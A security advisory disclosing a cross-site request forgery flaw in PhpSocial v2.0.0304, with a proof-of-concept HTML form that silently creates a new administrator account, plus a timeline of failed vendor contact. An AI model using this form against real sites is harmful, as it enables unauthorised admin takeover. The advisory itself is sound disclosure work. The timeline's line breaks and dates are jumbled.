PhpSocial 2.0.0304_20222226 - Cross-Site Request Forgery

ID: 98164
CVE: None
Download vulnerable application: None
Security Advisory - Curesec Research Team
  1. Introduction
  Affected Product:    PhpSocial v2.0.0304_20222226
Fixed in:            not fixed
Fixed Version Link:  n/a
Vendor Webite:
Vulnerability Type:  CSRF
Remote Exploitable:  Yes
Reported to vendor:  11/21/2015
Disclosed to public: 12/21/2015
Release mode:        Full Disclosure
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH
  2. Overview
  Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P
  PhpSocial is a social networking software written in PHP. In version v2.0.0304,
it does not have CSRF protection, which means that an attacker can perform
actions for a victim, if the victim visits an attacker controlled site while
logged in.
  3. Proof of Concept
  Add a new admin:
    <form action="http://localhost/PhpSocial_v2.0.0304_20222226/cms_phpsocial/admin/AdminAddViewadmins.php" method="POST">
      <input type="hidden" name="admin_username" value="admin2" />
      <input type="hidden" name="admin_password" value="admin" />
      <input type="hidden" name="admin_password_confirm" value="admin" />
      <input type="hidden" name="admin_name" value="admin2" />
      <input type="hidden" name="admin_email" value="[email protected]" />
      <input type="hidden" name="task" value="addadmin" />
      <input type="submit" value="Submit request" />
  4. Solution
  This issue was not fixed by the vendor.
  5. Report Timeline
  11/21/ Contacted Vendor (no reply)
12/10/ Tried to remind vendor (no email is given, [email protected] does
2015   not exist, and contact form could not be used because the website is
12/21/ Disclosed to public
    Blog Reference:
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